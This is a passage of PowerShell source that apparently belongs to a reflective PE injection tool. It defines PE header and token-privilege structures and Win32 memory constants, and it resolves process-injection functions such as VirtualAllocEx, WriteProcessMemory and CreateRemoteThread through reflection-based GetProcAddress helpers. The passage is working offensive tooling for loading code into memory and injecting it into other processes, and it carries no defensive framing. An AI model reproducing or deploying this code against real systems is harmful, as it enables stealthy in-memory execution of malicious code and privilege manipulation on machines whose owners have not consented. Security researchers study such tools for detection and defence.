  379.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  380.            
  381.             #Struct IMAGE_BASE_RELOCATION
  382.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  383.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  384.             $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  385.             $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  386.             $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  387.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  388.            
  389.             #Struct IMAGE_IMPORT_DESCRIPTOR
  390.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  391.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  392.             $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  393.             $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  394.             $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  395.             $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  396.             $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  397.             $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  398.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  399.            
  400.             #Struct IMAGE_EXPORT_DIRECTORY
  401.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  402.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  403.             $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  404.             $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  405.             $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  406.             $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  407.             $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  408.             $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  409.             $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  410.             $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  411.             $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  412.             $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  413.             $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  414.             $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  415.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  416.            
  417.             #Struct LUID
  418.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  419.             $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  420.             $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  421.             $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
  422.             $LUID = $TypeBuilder.CreateType()
  423.             $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  424.            
  425.             #Struct LUID_AND_ATTRIBUTES
  426.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  427.             $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  428.             $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  429.             $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  430.             $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  431.             $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  432.            
  433.             #Struct TOKEN_PRIVILEGES
  434.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  435.             $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  436.             $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  437.             $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  438.             $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  439.             $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  440.            
  441.             return $Win32Types
  442.         }
  443.        
  444.         Function Get-Win32Constants
  445.         {
  446.             $Win32Constants = New-Object System.Object
  447.            
  448.             $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  449.             $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  450.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  451.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  452.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  453.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  454.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  455.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  456.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  457.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  458.             $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  459.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  460.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  461.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  462.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  463.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  464.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  465.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  466.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  467.             $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  468.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  469.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  470.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  471.             $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  472.             $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  473.             $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  474.             $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  475.             $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  476.             $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  477.            
  478.             return $Win32Constants
  479.         }
  480.        
  481.         Function Get-Win32Functions
  482.         {
  483.             $Win32Functions = New-Object System.Object
  484.            
  485.             $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  486.             $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  487.             $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  488.             $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  489.            
  490.             $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  491.             $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  492.             $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  493.             $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  494.            
  495.             $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  496.             $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  497.             $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  498.             $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  499.            
  500.             $memsetAddr = Get-ProcAddress msvcrt.dll memset
  501.             $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  502.             $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  503.             $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  504.            
  505.             $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  506.             $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  507.             $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  508.             $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  509.            
  510.             $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  511.             $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  512.             $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  513.             $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  514.            
  515.             $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
  516.             $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  517.             $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
  518.             $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
  519.            
  520.             $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  521.             $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  522.             $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  523.             $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  524.            
  525.             $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  526.             $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  527.             $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  528.             $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  529.            
  530.             $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  531.             $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  532.             $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  533.             $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  534.            
  535.             $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  536.             $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  537.             $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  538.             $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  539.            
  540.             $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  541.             $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  542.             $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  543.             $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  544.            
  545.             $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  546.             $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  547.             $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  548.             $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  549.            
  550.             $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  551.             $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  552.             $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  553.             $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  554.            
  555.             $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  556.             $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  557.             $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  558.             $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  559.            
  560.             $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  561.             $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  562.             $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  563.             $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  564.            
  565.             $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  566.             $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  567.             $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  568.             $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  569.            
  570.             $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  571.             $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  572.             $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  573.             $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  574.            
  575.             $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  576.             $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  577.             $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  578.             $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  579.            
  580.             $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  581.             $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  582.             $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  583.             $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  584.            
  585.             $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  586.             $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  587.             $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  588.             $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  589.            
  590.             $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  591.             $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  592.             $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  593.             $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  594.            
  595.             $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  596.             $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  597.             $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  598.             $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  599.            
  600.             # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
  601.             if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6, 0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6, 2)))
  602.             {
  603.                 $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  604.                 $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  605.                 $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  606.                 $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  607.             }
  608.            
  609.             $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  610.             $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  611.             $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  612.             $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  613.            
  614.             $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  615.             $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  616.             $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  617.             $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  618.            
  619.             $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  620.             $LocalFreeDelegate = Get-DelegateType @([IntPtr])
  621.             $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
  622.             $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree
  623.            
  624.             return $Win32Functions
  625.         }
  626.         #####################################
  627.        
  628.        
  629.         #####################################
  630.         ###########    HELPERS   ############
  631.         #####################################
  632.        
  633.         #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
  634.         #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
  635.         Function Sub-SignedIntAsUnsigned
  636.         {
  637.             Param (
  638.                 [Parameter(Position = 0, Mandatory = $true)]
  639.                 [Int64]$Value1,
  640.                 [Parameter(Position = 1, Mandatory = $true)]
  641.                 [Int64]$Value2
  642.             )
  643.            
  644.             [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  645.             [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  646.             [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  647.            
  648.             if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  649.             {
  650.                 $CarryOver = 0
  651.                 for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  652.                 {
  653.                     $Val = $Value1Bytes[$i] - $CarryOver
  654.                     #Sub bytes
  655.                     if ($Val -lt $Value2Bytes[$i])
  656.                     {
  657.                         $Val += 256
  658.                         $CarryOver = 1
  659.                     }
  660.                     else
  661.                     {
  662.                         $CarryOver = 0
  663.                     }
  664.                    
  665.                    
  666.                     [UInt16]$Sum = $Val - $Value2Bytes[$i]
  667.                    
  668.                     $FinalBytes[$i] = $Sum -band 0x00FF
  669.                 }
  670.             }
  671.             else
  672.             {
  673.                 Throw "Cannot subtract bytearrays of different sizes"
  674.             }
  675.            
  676.             return [BitConverter]::ToInt64($FinalBytes, 0)
  677.         }
  678.        
  679.        
  680.         Function Add-SignedIntAsUnsigned
  681.         {
  682.             Param (
  683.                 [Parameter(Position = 0, Mandatory = $true)]
  684.                 [Int64]$Value1,
  685.                 [Parameter(Position = 1, Mandatory = $true)]
  686.                 [Int64]$Value2
  687.             )
  688.            
  689.             [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  690.             [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  691.             [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  692.            
  693.             if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  694.             {
  695.                 $CarryOver = 0
  696.                 for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  697.                 {
  698.                     #Add bytes
  699.                     [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  700.                    
  701.                     $FinalBytes[$i] = $Sum -band 0x00FF
  702.                    
  703.                     if (($Sum -band 0xFF00) -eq 0x100)
  704.                     {
  705.                         $CarryOver = 1
  706.                     }
  707.                     else
  708.                     {
  709.                         $CarryOver = 0
  710.                     }
  711.                 }
  712.             }
  713.             else
  714.             {
  715.                 Throw "Cannot add bytearrays of different sizes"
  716.             }
  717.            
  718.             return [BitConverter]::ToInt64($FinalBytes, 0)
  719.         }
  720.        
  721.        
  722.         Function Compare-Val1GreaterThanVal2AsUInt
  723.         {
  724.             Param (
  725.                 [Parameter(Position = 0, Mandatory = $true)]
  726.                 [Int64]$Value1,
  727.                 [Parameter(Position = 1, Mandatory = $true)]
  728.                 [Int64]$Value2
  729.             )
  730.            
  731.             [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  732.             [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  733.            
  734.             if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  735.             {
  736.                 for ($i = $Value1Bytes.Count - 1; $i -ge 0; $i--)
  737.                 {
  738.                     if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  739.                     {
  740.                         return $true
  741.                     }
  742.                     elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  743.                     {
  744.                         return $false
  745.                     }
  746.                 }
  747.             }
  748.             else
  749.             {
  750.                 Throw "Cannot compare byte arrays of different size"
  751.             }
  752.            
  753.             return $false
  754.         }
  755.        
  756.        
  757.         Function Convert-UIntToInt
  758.         {
  759.             Param (
  760.                 [Parameter(Position = 0, Mandatory = $true)]
  761.                 [UInt64]$Value
  762.             )
  763.            
  764.             [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  765.             return ([BitConverter]::ToInt64($ValueBytes, 0))
  766.         }
  767.        
  768.        
  769.         Function Test-MemoryRangeValid
  770.         {
  771.             Param (
  772.                 [Parameter(Position = 0, Mandatory = $true)]
  773.                 [String]$DebugString,
  774.                 [Parameter(Position = 1, Mandatory = $true)]
  775.                 [System.Object]$PEInfo,
  776.                 [Parameter(Position = 2, Mandatory = $true)]
  777.                 [IntPtr]$StartAddress,
  778.                 [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  779.                 [IntPtr]$Size
  780.             )
  781.            
  782.             [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  783.            
  784.             $PEEndAddress = $PEInfo.EndAddress
  785.            
  786.             if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  787.             {
  788.                 Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  789.             }
  790.             if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  791.             {
  792.                 Throw "Trying to write to memory greater than allocated address range. $DebugString"
  793.             }
  794.         }
  795.        
  796.        
  797.         Function Write-BytesToMemory
  798.         {
  799.             Param (
  800.                 [Parameter(Position = 0, Mandatory = $true)]
  801.                 [Byte[]]$Bytes,
  802.                 [Parameter(Position = 1, Mandatory = $true)]
  803.                 [IntPtr]$MemoryAddress
  804.             )
  805.            
  806.             for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  807.             {
  808.                 [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  809.             }
  810.         }
  811.        
  812.        
  813.         #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
  814.         Function Get-DelegateType
  815.         {
  816.             Param
  817.             (
  818.                 [OutputType([Type])]
  819.                 [Parameter(Position = 0)]
  820.                 [Type[]]$Parameters = (New-Object Type[](0)),
  821.                 [Parameter(Position = 1)]
  822.                 [Type]$ReturnType = [Void]
  823.             )
  824.            
  825.             $Domain = [AppDomain]::CurrentDomain
  826.             $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  827.             $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  828.             $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  829.             $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  830.             $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  831.             $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  832.             $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  833.             $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  834.            
  835.             Write-Output $TypeBuilder.CreateType()
  836.         }
  837.        
  838.        
  839.         #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
  840.         Function Get-ProcAddress
  841.         {
  842.             Param
  843.             (
  844.                 [OutputType([IntPtr])]
  845.                 [Parameter(Position = 0, Mandatory = $True)]
  846.                 [String]$Module,
  847.                 [Parameter(Position = 1, Mandatory = $True)]
  848.                 [String]$Procedure
  849.             )
  850.            
  851.             # Get a reference to System.dll in the GAC
  852.             $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  853.             Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
  854.             $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  855.             # Get a reference to the GetModuleHandle and GetProcAddress methods
  856.             $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
